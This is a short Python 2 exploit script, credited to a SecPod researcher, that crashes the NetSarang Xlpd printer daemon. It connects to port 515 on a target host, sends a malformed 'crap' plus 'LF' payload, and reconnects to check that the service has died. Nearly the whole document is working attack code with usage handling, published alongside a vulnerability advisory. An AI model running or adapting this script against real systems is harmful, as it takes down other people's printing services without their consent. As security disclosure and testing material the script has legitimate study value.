#!/usr/bin/python ############################################################################## # # Title : NetSarang Xlpd Printer Daemon Denial of Service Vulnerability # Author : Prabhu S Angadi SecPod Technologies (www.secpod.com) # Vendor : http://www.netsarang.com # Advisory : http://secpod.org/blog/?p=457 # http://secpod.org/advisories/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS_Vuln.txt # http://secpod.org/exploits/SecPod_Exploit_NetSarang_Xlpd_Printer_Daemon_DoS.py # Software : NetSarang Xlpd 4 Build 0100 and NetSarang Xmanager Enterprise 4 Build 0186 # Date : 01/02/2012 # ############################################################################## import socket,sys,time port = 515 if len(sys.argv) < 2: print "\n[-] Usage: %s " % sys.argv[0] sys.exit(0) target = sys.argv[1] sockObj = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: sockObj.connect((target,port)) except: print "\n[-] Xlpd service is down." sys.exit(0) sockObj.send("crap"+"LF") sockObj.send("LF") #Will wait for a while time.sleep(5) sockObj.close() try: sockObj.connect((target,port)) except: print "\n[-] Xlpd service is crashed, unble to connect" sys.exit(0)